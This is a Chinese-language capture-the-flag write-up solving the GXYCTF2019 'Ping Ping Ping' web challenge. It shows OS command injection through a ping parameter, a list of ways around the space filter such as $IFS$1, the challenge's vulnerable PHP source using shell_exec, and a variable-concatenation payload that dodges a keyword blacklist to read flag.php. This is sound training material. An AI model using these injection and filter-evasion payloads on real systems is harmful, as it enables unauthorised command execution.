BUUCTF-Web-[GXYCTF2019]Ping Ping Ping
打开题目环境,如下所示:
![BUUCTF-Web-[GXYCTF2019]Ping Ping Ping - 图1](/uploads/projects/bug132294@lmmitx/cc68720ca09cfa1c0b66e05435a17d5c.png)
在域名后加?ip=127.0.0.1测试
![BUUCTF-Web-[GXYCTF2019]Ping Ping Ping - 图2](/uploads/projects/bug132294@lmmitx/cecb483ae98af613c5aa5e1ef0a49d88.png)
输入?ip=127.0.0.1|ls测试是否存在命令执行漏洞
![BUUCTF-Web-[GXYCTF2019]Ping Ping Ping - 图3](/uploads/projects/bug132294@lmmitx/2e31a7aec0bf710c340599eb519fdb8d.png)
ls命令成功执行,直接构造payload读取flag.php文件
?ip=127.0.0.1|cat flag.php
发现存在过滤空格
![BUUCTF-Web-[GXYCTF2019]Ping Ping Ping - 图4](/uploads/projects/bug132294@lmmitx/9950ecabe7d928ea56c607da10a3286e.png)
通过搜索,发现绕过空格过滤主要有以下方法:
${IFS}替换$IFS$1替换${IFS替换%20替换<和<>重定向符替换%09替换
挨个测试一下,发现第二个·$IFS$1可以绕过,但是又提示以下内容,说明flag又被过滤了。
![BUUCTF-Web-[GXYCTF2019]Ping Ping Ping - 图5](/uploads/projects/bug132294@lmmitx/fa65596ad42f676614905af511ebcdca.png)
那看一下index.php内容
/?ip=/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);echo "";print_r($a);}?>
发现好过符号都被过滤了,试下变量拼接,构造以下payload,在源码里发现flag
?ip=?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php;
![BUUCTF-Web-[GXYCTF2019]Ping Ping Ping - 图6](/uploads/projects/bug132294@lmmitx/e98674c951b4bb23dd8a85cbeb41d9f1.png)
